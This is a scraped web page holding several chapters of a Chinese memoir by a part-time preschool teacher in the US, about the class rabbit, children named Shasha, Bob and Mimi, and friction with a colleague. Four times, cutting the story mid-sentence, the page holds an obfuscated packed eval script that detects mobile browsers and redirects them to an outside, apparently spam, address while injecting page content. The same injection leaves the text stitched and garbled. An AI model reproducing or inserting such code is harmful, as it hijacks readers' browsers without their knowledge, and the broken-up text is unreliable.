;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442591|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班,新学年第一天快放学的时候奥丽突然在妈妈的陪同下再次拜访中班教室,她径直走到我面前将一张厚厚的纸交到我手里,我看见上面用水彩画了一只非常美丽的蝴蝶,笔触虽然有些幼稚生涩,图案和配色却独具匠心,比我曾经给她画过的任何一只蝴蝶都要美丽,上面还写着“送给彦岚,爱你的奥丽”。 我问她:“这是送给我的吗?” 她点点头。 我感叹道:“这太美了!我会永远收藏。” 奥丽很高兴地笑了。 我又伸出双臂:“让我给你一个拥抱。” 她紧紧扑了过来。 我很感动,这个喜欢画蝴蝶的有着艺术天分的小女孩在新学年的第一天竟然专门回来送给我她最新画的最美的蝴蝶。 后来有几次在操场上遇见奥丽,她总是走到我跟前有些迟疑地问:“我给你的那幅蝴蝶还在吗?” 我总是回答:“还在,我把它好好地收着呢。” 我不太明白奥丽为什么总是这样问我,难道因为这是她曾画出的最美的蝴蝶,现在有点舍不得了,想要回去? 我想象着,若干年后当奥丽成为一名画家而我们有幸再相遇,我会把这幅珍藏的蝴蝶还给她,当然,我会保留一份复印件。 68.第十章 一只叫苏菲的兔子 中班教室里养了一只长耳兔,耳朵不像普通的兔子那样竖着而是耷拉下来,面部圆乎乎全身毛茸茸的像一只玩具,因为是只母兔,孩子们给她起名叫苏菲。 苏菲的家是一只一米多长宽大的铁笼子,架到孩子们的视线高度,笼子底部铺着舒适的干草和棉垫,边上固定着喂她喝水的特制水瓶和放食物的容器,每天下午老师都会把兔笼门打开一会儿,在门前架一条裹着软垫的长木板,苏菲就会顺着木板爬到地毯上在教室里随意活动,她总是很安静,也从来不会跑出地毯的范围之外,让人很省心,孩子们有时候会上前摸一摸她,她也总是温顺地任由孩子们抚摸。 但是每次想让苏菲回笼子却很困难,她会四处躲避不愿回去,有时候曼达用一块毯子将她罩住,这样她看不见就不会乱动,再把她抱回笼子里。我不太敢抱苏菲,就从地毯到笼子沿途放上几根青草,苏菲会一路觅食顺着青草自己回到笼子里,我再趁机在她身后迅速关上笼门,屡试不爽。 教室的橱柜里有一格专门用来放苏菲的干草、兔粮、维生素片和手拎备用兔笼,老师们会每隔几天轮流为苏菲打扫兔笼换上干净的干草,我每天下班前也会检查她的食物和水是否需要补充,尤其周末前会为她准备足足的干草和兔粮,再加上一片粉红色带果香味的维生素片。每逢节假日学校关门时间比较长就需要老师认领苏菲把她带回家养几天,中班老师就会把苏菲放进手拎兔笼里,再备好充足的食物和干草交给认领的老师。 自从帮着照料苏菲我才知道兔子原来并不爱吃胡萝卜,而是喜欢吃各种水果,有时候我和其他老师会切一点孩子们吃的水果放在苏菲的碗里,她立刻会扑过来一顿风卷残云吃得一干二净,可是对胡萝卜却连碰都不碰。 苏菲还特别爱吃鲜嫩的青草,学前班的兼职老师妮可时常会在下班的时候来探望苏菲,每次都给她带来巴掌大的一小盒青草。我看到盒子上的价格标签,不及一握的一小把青草竟要三四美元,简直比人吃的还奢侈,不过这笔钱学校会报销。 妮可四五十岁年纪,看上去谦逊和善中略带威严,有点像从前市立学院的那些教授,她对我说:“我以前在这间教室工作,对苏菲很有感情,想来看看她。” 我想爱护小动物的人内心应该很善良,总是对她笑脸相迎,欢迎她随时来访。 后来我才知道妮可是在我之前中班的兼职老师,从加州搬过来,读过两个硕士学位,曾经在大学任教。我想能放弃大学教职投身幼教行业的老 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我在前幼儿园曾吃过亏,吃一堑长一智,自从到新幼儿园总是谨言慎行低调做人,除一丝不苟做好职责说明上的工作之外,甘愿放低姿态默默辅佐所有中班老师。前幼儿园的遭遇似乎给我留下了创伤后应激障碍,让我再也没有了曾经的意气风发、畅所欲言,现在无论其他老师说什么都唯唯诺诺地回答“好的,好的”,显得像个傻子,一开始还惹得嘉娜“扑哧”一声笑出来,好在她们还算公正,对我这个兼职老师的要求也不高,我想与妮可之间的摩擦碰撞一定也让几位中班老师在经历挫折后收敛了许多,对我这个新人相当客气,这才有了现在和平共处的局面。 69.第十一章 软弱的莎莎 莎莎是一个瘦瘦的印度小女孩,有些安静胆怯,存在感较低,不过私下里有机会时也挺淘气。 莎莎的妈妈每次来学校的时候对老师总是微微颔首微笑,表现得十分得体,英语说得也很好,时常向老师询问莎莎在学校的情况,提出她个人的担忧和期望,似乎是一个谙熟和完全融入美国体制的移民样板,学年开始和结束两次谢师费都是由她牵头统筹,我还一度以为她在公司是中高层管理人员。但是班上以卡伦为首的老师都不喜欢她,觉得她很矫情麻烦,背地里时常对她冷嘲热讽,阴阳她是个没有工作的家庭妇女,所以空闲时间很多。 莎莎过生日的时候她妈妈态度悠然地来教室给全班小朋友读了一本有关世界的书,我觉得这本书很好,卡伦事后却又在背地里嘲讽了一番。 莎莎的妈妈读完故事把莎莎接走后又返回来找莎莎抱着睡午觉的两只毛绒兔玩具,仿佛这是一件很大的事,说莎莎如果没有这两只兔子整个周末都会睡不好。 我表示理解地一边帮她找一边和她寒暄了几句,顺口问:“莎莎在车里等着吗?” 她立刻标准答案般地回答:“噢,我已经送她回家了,家里有儿童看护。” 我这才想起来在美国让十三岁以下的孩子独处是会有麻烦的,不禁为自己刚才随意的话暗自汗颜。 有段时间莎莎总是尿裤子,每次孩子尿或拉裤子老师都会把换下来的脏衣服包在一个密封塑料袋里让孩子带回家,多次事故的孩子就会获得多个塑料袋。有一天下午我连着帮莎莎换了两次,第二次我对她说:“我就把你的脏裤子放在装第一次脏裤子的塑料袋里了。” 莎莎居然怯怯地说:“好的,这样妈妈就会以为我只尿了一次而不会对我生气了。” 我听到这话不禁又是惊讶又是好笑,惊讶的是她妈妈原来并没有在学校时表现的那么完美,好笑的是莎莎平日看上去谦恭胆怯,却没想到这么小就知道阳奉阴违糊弄大人了。 学年后期莎莎突然变得非常敏感多疑,总是来我面前告状说这个孩子对她不好,那个孩子拿了她的东西,在她妈妈来接她时也会立刻当着其他孩子和老师的面说“妈妈,今天谁谁对我不好,对我怎么怎么样了”。 我发现多数情况莎莎抱怨的只是孩子之间的正常争执, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442593|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并非针对她,不过她的胆怯被动也多少诱使其他孩子更多地侵占她的权益,便替她出了两次头。没想到从此之后莎莎似乎觉得我成了她的靠山,每天都要来我面前告几状,搞得我也很无奈,只好教她自己去和其他孩子说“我不喜欢你这样”,“这是我的,我正在用”,直接拿回原本属于她的东西,或者问其他孩子为什么要那么做。 一天她又向妈妈告状,我便笑着上前向她妈妈解释:“莎莎最近比较敏感,不过通常都是孩子之间的正常争执,并非专门针对她。” 莎莎妈妈得体地微笑道:“莎莎最近确实比较敏感,在家里和我提了几次,谢谢你告诉我这些。” 我觉得向莎莎的妈妈解释一下还是很有必要的,这次之后莎莎告状的事就渐渐少了,不过卡伦她们似乎认为这无足轻重。 学年结束前两周莎莎跟全家一起回了一趟印度,最后一天她回到幼儿园居然又开始告小朋友的状,被告状的中国小姑娘丽丽还因此委屈地哭了。 我看着莎莎,忍不住在心里叹了口气——唉,这个孩子我也没机会再想办法影响她了,只希望她以后自求多福吧。 70.第十二章 娃娃也刻薄 鲍勃这个小孩,父母离异,目前跟着父亲,其父情商很低,不懂得考虑别人,但心眼似乎不坏,我内心有些同情这对父子,在他来接鲍勃时总是尽力对他和颜悦色。 至于鲍勃则让班上所有的老师都头疼,不听指令,午睡时随意大声说话,随意推打别人,屡教不改,还总是笑嘻嘻一副和他无关的样子。南希认为鲍勃有些自闭症倾向,我则觉得他应该还有多动症,虽然并不太喜欢这个孩子,却一直认为他只是无法控制自己,内心还是善良的,可是最近一些事却彻底改变了我对他的看法。 这周南希做角膜更换手术,整个星期都不在学校,星期一午睡时曼达气咻咻地拉着乱动乱叫的鲍勃去南希办公室,没找到南希又回来了。下午杜冰给大家读故事时鲍勃又旁若无人地乱动乱说话,我制止无效只得强行将他抱在怀里拉住他的两只手坐好,他消停了一小会儿,趁杜冰带大家起立做运动时挣脱我,还说:“我不用听你的话,我只需要听杜冰的话。” 我告诉他:“你需要听所有老师的话。” 孩子们在教室里自由活动的时候鲍勃又把塑料框里的玩具扔在地上,我叫他捡起来,他说:“不不不!” 我说:“你如果不把玩具捡起来,我就要把你的塑料框拿走。” 他说:“你坏,我不会捡!”然后试图打我,不过他的手软软的几乎没碰到我,似乎并无太多恶意。 我没怎么在意,只是对他说:“这是不可接受的行为。” 杜冰在一旁看见鲍勃的举动,立刻过来把他拎到韦尔办公室去了。 接下来两天下午去室外活动鲍勃都恰巧被分在我这组,每次回教室的时候他都不愿意,我去拉他的手他就说:“不不不,你坏,我不想回去,我要和克拉拉玩。” 克拉拉是一个总喜欢和鲍勃在一起玩的小女孩,被分在另一组,还没到她回教室的时间。 我于是坚持拉住鲍勃的手对他说“是是是”,又让克拉拉和他说再见,没想到这样居然奏效了,鲍勃最终顺从地跟我进了教室。 星期四下午曼达给孩子们读故事书,我陪一个不想听故事的孩子在旁边桌子上玩玩具,过了一会儿曼达嫌鲍勃吵闹,叫他到桌子上玩玩具,克拉拉也跟了过来。 我心中暗觉不妙,果然,鲍勃和克拉拉开始旁若无人地大声聊天,我几次让他们安静一点,可是鲍勃只小声了两句就又大声起来,我只得再次提醒,谁知鲍勃竟当着我的面一脸轻蔑地对克拉拉说:“她是最差的老师。”克拉拉还抬眼似笑非笑地瞟了我一眼。 我这才意识到原来鲍勃一直在针对我,之前屡次对我说“你坏”也并非一个幼儿的无心之语,更气人的是两个才三四岁的孩子居然能如此刻薄势利,坐在对面当我空气一般,一句“她是最差的老师”说得轻飘飘的,仿佛只是在陈述一个毋庸置疑的事实,就把我给全盘否定了,对于一个从事教师职业的人来说,最糟糕的评价和最重的话莫过于此,何况我还一直以一种近乎献身的精神在从事这份职业。 我的第一反应是暗暗检讨自己是不是有什么行为给这个孩子造成了不好的感受:上星期的一天下午鲍勃连着两次拉在裤子里,几乎半个下午我都在给他擦屎,他还毫无愧意,该上厕所的时候不上,换好裤子又在厕所里磨磨蹭蹭玩东玩西不听指令,我当时有流露出一些不悦和不耐烦;星期一他午睡闹腾时我曾强行将他按住命令他睡觉,在他走路磨蹭时曾直接拉着他说“快点,我们走”;还有一直以来因为他总是特别不听话,我并不是很喜欢他,只是维持着表面上的温和,难道这些都被他感受到了,记在心里? 更令我担心的是我害怕这孩子对他的父母或其他成年人乱说,让人们因为美国社会对儿童的过度保护和认为“小孩嘴里掏真话”而对我产生看法,以为我对他做了什么不好的事。自从前幼儿园的糟糕经历之后我如惊弓之鸟,不再相信可以通过说理自辩让别人相信自己,只想苟安一隅不愿惹事上身,所以我听到鲍勃这句刻薄话之后不免有些心灰意冷,闭上嘴不再管他。 鲍勃仿佛觉得打败了我,开始在我面前肆无忌惮地和克拉拉大声说笑,曼达向这边看了一眼,我则冷眼看着鲍勃。 过了几分钟待心情稍稍平复,我觉得还是不能就此认输完全放任不管,这时鲍勃恰好猖狂地大叫了一声,我霍然起身把他拉到小孩需要反省时坐的沙发上,然后一言不发地转身离开。 曼达读完故事让其他孩子自由选择一样玩具玩,角落里的鲍勃站起来跟没事人似的对我说:“我准备好去玩了。” 我觉得他根本没有进行任何反思,就蹲下身握着他的手严肃地问:“你为什么认为我是最差的老师?” 他说:“因为你做事和其他老师不一样。” “怎么不一样?” “我不知道。” 另一个孩子这时过来想问我一些事情,曼达很有眼力见儿地叫他不要打扰我,自己则走到我和鲍勃旁边假装收拾东西,实际上在侧耳倾听。 其实我并不想让别的老师听见我和鲍勃的对话,因为被孩子说自己是最差的老师毕竟不是一件光彩的事,可是谈话进行到一半总要继续下去,于是我接着对鲍勃说:“你这么说让我觉得很受伤,现在你还认为我是最差的老师吗? “是的。” “好,今天我要和你爸爸谈谈,现在你去玩吧。” 最后这句话其实有些吓唬吓唬鲍勃的意思,因为我作为兼职老师不便对他进行任何处置,又不好因为这点小事到别的老师面前告状,就只剩这一招了。 鲍勃的爸爸来接鲍勃时我有些犹豫,本能地觉得和这个拎不清的父亲交谈不是个解决问题的好主意,可话已经说出口不能食言,我只得硬着头皮上前和他讲了一下鲍勃这几天对我的所作所为。 果然,他似乎并不觉得有什么,只是礼貌性地表现出些许忧虑的样子,反问我:“鲍勃是不是对其他老师也这样?” 我只得说:“我只是下午在这里工作,还没有机会和其他老师谈。” 他于是说:“让我们继续看看。” 第二天在操场上曼达突然走到我身边小心翼翼地问我:“昨天发生了什么事?我看到你和鲍勃的爸爸谈话,我知道鲍勃大声说话是很常见的事,一定是发生了一些其他事情,我在旁边虽然听见一两句,但不知道具体是什么。” 我心想这事她肯定和卡伦说过了,既然如此我也不想让她们觉得我有什么瞒着她们,便一五一十把昨天发生的事和她说了一遍。 曼达在听到鲍勃评论我是最差的老师时倒吸一口凉气,同情地表示为我的遭遇感到难过,又很委婉但官方地说:“但是彦岚,下次你再遇到这种情况或许和其他老师先沟通一下会更好,或者你可以在下一次的教师会议上提出来。” 曼达的话说得没错,我昨天也是在气头上话赶话才做出那样的举动,处理得确实欠妥,可是曼达的神情仿佛是领导在关怀下属,又像老师在教育小学生,令我感到极度不适。不知道是不是因为开学第一天我错把她当成办公室经理曼达,让她误以为南希让我向她请教,自从我在中班工作她 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“我会帮助和支持你。”卡伦说,然后当着我的面把鲍勃叫过来告诉他,“所有老师都是一样的,说老师坏或最差是不可接受的,无论彦岚叫你说话小声还是把玩具捡起来你都得听。” 卡伦是个心大的人,这件事在她这里基本就算结束了。 事后我想,曼达把这事翻出来说一遍也好,我原不好因为被一个小孩子说句难听话就去向其他老师告状,这次她们主动了解情况,下次鲍勃再向其他人说我的坏话就没有效力了。 星期一到学校时总是冷着脸的杜冰一反常态地主动向我微笑示好,我想卡伦或曼达一定把我的遭遇对杜冰说过了,她应该是在向我表示同情。 后来又在楼梯口遇到南希,她和我打招呼,脸色却不太好看,好像有些不高兴。 我又开始紧张,疑心自己和鲍勃的事不会所有人都知道了吧?就像在前幼儿园,有点风吹草动立刻所有人都知道了,只有我一个人还蒙在鼓里。 星期四的教师会议被临时挪到了星期二,我又开始脑补:不会是鲍勃的爸爸找南希说了什么,大家要提前开会讨论我的问题吧? 会议开始南希问我们有没有关于哪个孩子想说的,卡伦和杜冰都连连摇头,我这才知道卡伦果真是想大事化小。 南希却皱着眉头主动提到鲍勃:“昨天鲍勃到我这里来抓了几大把桌上的豆形软糖塞到口袋里,他爸爸也不管,坐在我这里半天也不走,又跑到小班教室坐了很久,感觉很有问题。” 卡伦跟着评论道:“不知道鲍勃是不是纯粹就是很混蛋。” 然后大家开始讨论其他事宜。 至此我知道确实没人再重提我和鲍勃的事,一切都是我的杯弓蛇影,看来这里都是正常人,不似前幼儿园那样整天揪住一点小事就上纲上线无限放大,这事确实是翻篇了。 南希今天眼睛红红的,看上去很疲惫,显得有些情绪低落和孤独,我想到她已是八十多岁高龄,刚刚做完角膜手术,还要处理学校这么多烦心事,学校里所有的人都已经习惯了她的校长身份,总是等着从她这里得到解决问题的方法和答案,却没人想到在她脆弱的时候替她分担一点,给她一些安慰,不禁心生同情。 教师会议结束后我特意留到最后,等其他人都离开才对南希说:“我想给你一个拥抱。” 南希虽然并不明白我为什么要这么做,但还是微笑着接受了,就像小孩子,我们不需要总是有理由才可以彼此拥抱。 71.第十三章 你所做的总有人看见 新幼儿园有着成熟的理念、开明的管理者、完善的规章制度和素质较高的教师团队,中班原先的三位老师也不算难相处的人,对我都还不错,我原本以为可以在新环境里平安顺遂地工作,可上天似乎永远不会让人太过安逸,早于我一星期入职的曼达仿佛就是专门为我在新幼儿园安排的障碍和挑战。 其实从上班之日起我就对曼达充满警惕和戒心,因为她长得实在太像尅拉了,虽然我不应该以貌取人,但人的面相还是有一定相关性的,事实证明曼达果然也是个两面三刀很有手段的女人,巧言令色、拉帮结派、媚上欺下,只是总体程度较尅拉要轻一些。 上班第一天因为阴差阳错让曼达误认为南希让我多向她请教,加之我又是班上资历仅次于她的兼职老师,于是我成为了曼达的目标,她总是方方面面想来领导和使唤我,又经常趁没别人的时候把许多自己的活丢给我。这所学校一向倡导宽松平等的氛围,大家只有分工和责任不同而无高低贵贱之分,就连两位校长和班主任卡伦都不会随意支使或打压任何一位老师和工作人员,曼达作为一名在幼教领域没有什么经验和感悟的新老师,却硬是凭借个人的权力欲望和高明的手腕把这股腐朽的风气带来这里,因为她平时总是逢人一副笑脸非常具有迷惑性,对我的许多做法也很隐蔽,又与她的好朋友杜冰以及杜冰的室友卡伦打成一片把她们哄得开开心心,在她们面前充分掌握了话语权,所以我在曼达那里吃的许多暗亏只能独自默默忍受,就仿佛棉衣里藏了一根针,别人看不见,自己却有苦说不出。 这星期卡伦休假,华裔轮值男老师欧文来我们班帮忙代班,欧文硕士学历,也是半路出家转投幼教行业,通常这样背景的人对于幼儿教育都是有些情怀在的,我曾问欧文为什么要来做幼儿教师,他说因为喜欢孩子。 但是半路出家的老师由于缺乏教学经验,即便之前的学历很高工作经验丰富也只能全部打碎重建从幼儿园的辅助位置做起,从自己生命的主角变成他人日常的配角,从曾经聚焦的中心沦为如今的边缘人和小透明,理想中的抱负难以施展,还可能被眼界和素质低于自己的人领导和压制,这种落差难免令人心情郁闷,所以我看欧文好像也不太开心的样子,很少和其他老师交流,总是闷闷地做自己的事。我曾听见班上老师在背后对欧文的做法略有微词,但欧文一副“我就这样,你能怎样”的姿态,其他老师倒也无可奈何。 星期三室外活动时欧文带第一组孩子,我带第二组孩子,大家在操场上彼此略微照应,倒也平静顺畅。然后曼达带着第三组来了,一到操场她组里的米米就径直来到我面前说要上厕所,这几天米米总是拉裤子,几乎每个下午我都要帮她换一两次,而她对我说的话不是“我要上厕所”就是“我拉裤子了”,搞得我头都大了。 于是我对米米说:“你是曼达那组的,应该去找曼达,我有自己组的孩子要照看。” 米米却说:“我告诉曼达了,她让我来告诉你。” 我以为小孩子可能会表达不清,就让她再去找曼达说一次,没想到一分钟后米米又回来了:“曼达让我找你。” 我听到这话简直不敢相信自己的耳朵,因为第一,米米是曼达那组的,有事当然应该找曼达;第二,她们组刚从教室里出来,如果有孩子想上厕所也应该在来操场之前解决,而不是直奔我这里,搞得好像我应该专门负责带孩子上厕所似的;第三,我平时的确经常带孩子上厕所,但那并不是唯独我的职责,如果曼达来跟我打声招呼,说她需要看着其他孩子,请我帮忙带米米去厕所,或者我帮她看着其他孩子,她带米米去厕所都没有问题,可她就这么直接打发米米自己来跟我说,对我也太不尊重了;第四,我已经回绝了她的无理要求,她居然能再次强硬地推回来,搞得好像这件事我非做不可似的,脸皮之厚令人惊诧。 可是我的脸皮却没办法像曼达那样厚,作为兼职老师也不好和她正面硬顶,于是就问我组里的孩子还有谁要一起去厕所,好在洛霖立刻很捧场地说“我愿意去试试”,也让我带米米去厕所师出有名。 从厕所回来后我为了避免再与曼达打交道就一直背对着她,不一会儿欧文把他那组孩子带到沙池里,我也跟了过去,留下刚到操场的曼达有些傻眼地一个人带着她那组单独呆着——今天杜冰和卡伦都不在,她也只能自己一个人呆着了。 又过了几分钟天开始下雨,曼达那组的孩子也过来聚集到沙池的遮阳棚底下,其中一个孩子拿着签到簿和他的过敏急救针来给我说:“曼达叫你拿着。” 我心道她还真是锲而不舍,偏要想各种办法来使唤我,就问:“曼达呢?” 孩子说:“曼达在小木屋那里。” 我猜她是在收拾玩具,就接过东西放在旁边的长椅上,这样也不算不管。 欧文带他那组进教室后我也很快带孩子进去了,因为实在不想和曼达单独同处一个空间,不过欧文下班后就只剩我和曼达,她一回教室便神气活现地张罗着给孩子们读故事,我则一边写下午的日志一边陪着几个不想听故事的孩子。 临近下班时有好几个家长同时来接孩子,曼达又开始显示她的权威,大声地把孩子们支使来支使去干一些无关紧要的杂活,又指挥所有孩子帮忙擦画画戴的护兜,搞得洛霖和欧妮的爸爸只好在一旁干等着,我于是走上前和他攀谈了几句,他却似乎有些怕得罪曼达,和我说完话又特意找曼达聊了几句,我便闪到一边去做自己的事了。 星期四我身体不太舒服,吃了药人有些晕晕乎乎的,下午坐在外面的椅子上看孩子们在充气泳池里玩水,然后曼达带孩子回教室换衣服,让我把换好衣服的孩子带去上厕所。 这时蓓姬十来岁的小姐姐海泽和爸爸一起来接蓓姬,她爸爸正在车里接电话,海泽自己先过来陪蓓姬在厕所里等着,一点也不认生地同我并排坐在一起,还给小朋友们讲道理:“要先把鞋子脱下来才能脱衣服,不然衣服会弄脏的。” 我点头表示赞同:“海泽说的很对。” 这些小朋友的小哥哥小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457002|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐通常都特别可爱,总认为自己是个小大人,特别有责任感,其实还很天真。 我等到蓓姬爸爸来,然后带着其他孩子回到教室,曼达又指派我把外面的浴巾收进来,再去其他班找找一个孩子丢了的浴巾——其他老师不在,她更加肆无忌惮起来,我简直成了她的私人助理。 我来到户外,在阳光下慢悠悠地一条条叠着挂在铁丝网上晾晒的浴巾,刚巧看见海泽独自带着蓓姬从教学楼里出来经过我面前,就问:“你们的爸爸还在厕所里?” “对,他还在厕所里。”海泽活泼地在我身边停下来,打开了话匣子,“我爸爸一开始不知道你的名字,后来知道了是‘彦岚’就一天到晚在家里重复你的名字,这也‘彦岚’那也‘彦岚’,还说以后要是再有孩子就起名叫‘彦岚’。” 若不是海泽告诉我,我真想不到自己在她们爸爸的心目中居然如此有地位,以至于考虑用我的名字命名未来出生的孩子,不过她们的爸爸给孩子起名确实挺有一套,海泽和蓓姬的名字都很好听。 我猜给蓓姬爸爸留下好印象是因为有一次他带蓓姬上厕所,蓓姬要洗手又不肯排队便开始哭闹,我刚好在旁边,他就问我这种情况该怎么办我,于是问蓓姬和另一个孩子是谁先到的,那个孩子说他先到的,我对蓓姬说“你需要排队”,同时令几个围观的小朋友或是回教室或是上厕所,蓓姬虽然还是不太乐意,却立即乖乖地听话了,可能是那次经历让蓓姬的爸爸觉得我对孩子气定神闲指挥自若颇有“水平”,从此对我刮目相看吧。 蓓姬的爸爸其实是个挺逗趣的人,戴着一副粗框眼镜,从事律师行业,一头花白的卷发,估计有五十来岁了,老来得子,曾不止一次被同班老师嘲讽早上送孩子时对蓓姬难舍难分遭蓓姬嫌弃;又不擅与人沟通,听卡伦模仿有一次他向其他家长推销某样东西,抓住人便说“你必须得用这个”;还不止一次当着我的面使用小朋友的厕所,虽然厕所隔间有门挡着,但是上下漏风还是有些尴尬的,当时我就借着和孩子说话将脸转向一边,估计刚才他又去用厕所了。 我索性停下手里的活,抱着一条浴巾斜靠在晒毛巾的铁栏杆上笑着对海泽说:“真有趣,你知道吗?我们班有几个孩子总是叫我木兰。”——《木兰》是一部取材自中国古代木兰从军故事的迪士尼动画电影,在美国家喻户晓。 海泽像是发现了新大陆,惊喜地说:“彦岚和木兰的尾音都是一样的,有趣!” 这时蓓姬的爸爸匆匆赶了过来,我笑着和他打招呼,他像每次那样面无表情地说:“谢谢你所做的一切。”又带着两个孩子匆匆离去。 我此刻因着海泽的几句话心情大好,内心的阴霾也一扫而空——一直以为自己只是个默默无闻的兼职老师,没想到不经意间的一些善举还是被人看见和记住了,蓓姬的爸爸如此,谁知道其他人不会回到家关起门来对我发表一些我本应得却不敢奢望的评价呢?如果是这样,做边缘人和小透明又怎样?曼达对我的打压和役使又算得了什么呢? 72.第十四章 忧郁的米米 米米一头淡金色的稀疏卷发,身材瘦小、面容苍白,但是额头很大,总喜欢独自坐着,显得有些阴郁,看上去像个老奶奶,她的父母在她上中班前不久离婚了,不知道这对她的性格有多少影响。 从家长联系表上能看到米米的爸爸住的是独栋别墅,妈妈则租住在附近的公寓里。米米的爸爸瘦高个,四十多岁年纪,五官年轻时应该挺英俊的,身材保持得也很好,衣着得体,看上去像公司里的高管,经常会在老师面前挤出笑容,但我总觉得他的眼神很冷酷犀利,让人有点害怕。 米米的妈妈要年轻很多,二三十岁模样,身材苗条盘着金发长得挺漂亮,见到老师多半时间会笑,但是我感觉她对人很不信任,有一次我开车回家在街上瞥见她步履匆匆脸上毫无表情,显得紧张又冷漠,不过她看到米米时神情总是很温柔。 班上老师帮米米过生日那天她的爸爸妈妈都来了,两个人各自拼命讨好米米,却彼此都不说话,米米的妈妈更是对她的爸爸从头到尾连正眼都不瞧一下,满脸嫌恶,也不知道这两人之间有什么恩怨。 米米不太喜欢和其他孩子玩,却爱黏着老师,如果其他孩子也黏着老师她还会表现出嫉妒的情绪和行为。 因为我总是对孩子很温和,米米便黏上了我,户外活动的时候她总喜欢坐在我身旁,还不停问我几个老是重复的问题:“彦岚,我在你的组吗?还有谁在你的组?我在谁的组?彦岚,现在几点了?” 我刚开始总是不厌其烦地回答她的问题,问得烦了顶多说:“你刚刚已经问过我了。” 后来有一次她让我问她几点了,我就问了,结果她回答:“是你该买手表的时间了。” 我猜这是其他大人逗她的说法,被她学了来,从此她一问我几点了我就用这句话回答她,她就会发出被逗到又无可奈何的一声“啊!” 其实我并不太喜欢米米坐在我身边,一方面是因为学校不主张孩子总是呆在某一个老师身边而不去活动,另一方面米米的性格也有些阴郁不讨喜。有一段时间米米几乎成了我的噩梦,每天下午她都要拉两次裤子,每次的量只有一点点,她是个心理早熟敏感的孩子,拉了裤子坐在马桶上瞪着眼睛脸憋得通红就是不说话,于是卡伦便把她扔给了我。米米大约觉得我比较好说话会照顾她的情绪,从此一拉裤子就找我,搞得我每天下午都要给她换两次裤子,那段时间我最怕的就是她跑到我面前阴着一张脸说:“彦岚,我有一次大便事故(美国幼儿园对于‘拉裤子’的优雅委婉说法)。” 有时候其他老师会把米米从我身边强行赶走让她去活动活动,我也连忙跟着对米米说:“去玩!” 她问我:“为什么?” 我就说:“因为玩耍是幼儿园小朋友的工作。” 但是在被轻视忽略的漫长难熬的第一学年,很多时候我又有点感谢有这么一个小人儿总是陪伴在我身边,不停地找一些乏味的话题跟我说,让我显得不是那么尴尬局促、孤立无援。 米米虽然个子小年纪也小,头脑却非常清楚,口齿也很清晰,会告诉我树上哪里有一只松鼠,纠正我天上飞的鸟不是乌鸦(crow)而是大乌鸦(raven),和我玩打电话游戏时会学着大人的样子假装说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457003|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “因为今天我有一些工作要做到很晚/因为城里有火警,所以我们的见面得取消,我们改在明天下午在图书馆门口见吧”等等这些充满了生活细节的话,嘴里还常常蹦出几句旋律很好听歌词很成人化的歌曲。 一天下午天气晴好,阳光明媚,大家在小操场的树荫下玩耍,米米照例坐在我身旁,突然听她道:“我为伤了你的心而致歉(I’m sorry for breaking your heart)。” 我先是吓了一跳,过了几秒才反应过来她是在唱阿黛尔的名曲《Hello》里的一句,几岁的小人儿无意识又口齿清晰地冷不丁冒出这么一句来,强烈的反差感令人忍俊不禁。 这时我看见蓓姬突然跑远,正想开口,米米已经先于我大声冲蓓姬喊道:“蓓姬,你要去哪里?快回来!”语气俨然一个小代理老师。 我忍不住想,这孩子一天到晚和我坐在一起闲聊,不会已经在心里把自己当成和我一样的老师了吧?她小小的躯壳里会不会住着一个老灵魂,所以总是喜欢和成年人呆在一起? 分别前我本以为每天和我坐在一起的米米会很舍不得我,问她会不会想我,她居然笑着说不会,后来我发现性格阴郁的米米和活泼可爱的让星座居然同是双子座。米米升入大班后仿佛突然之间长成了一个开朗又自信的大孩子,如果在厕所或走廊这些地方遇见,她总是像个主人翁似地冲我一边挥手一边大声说:“嗨彦岚,很高兴又见到你了!”在操场上她也不再跑到我身边来坐下,而是忙于自己玩耍或和其他孩子一起玩,不知道这是否她双子座另一面的展现。 73.第十五章 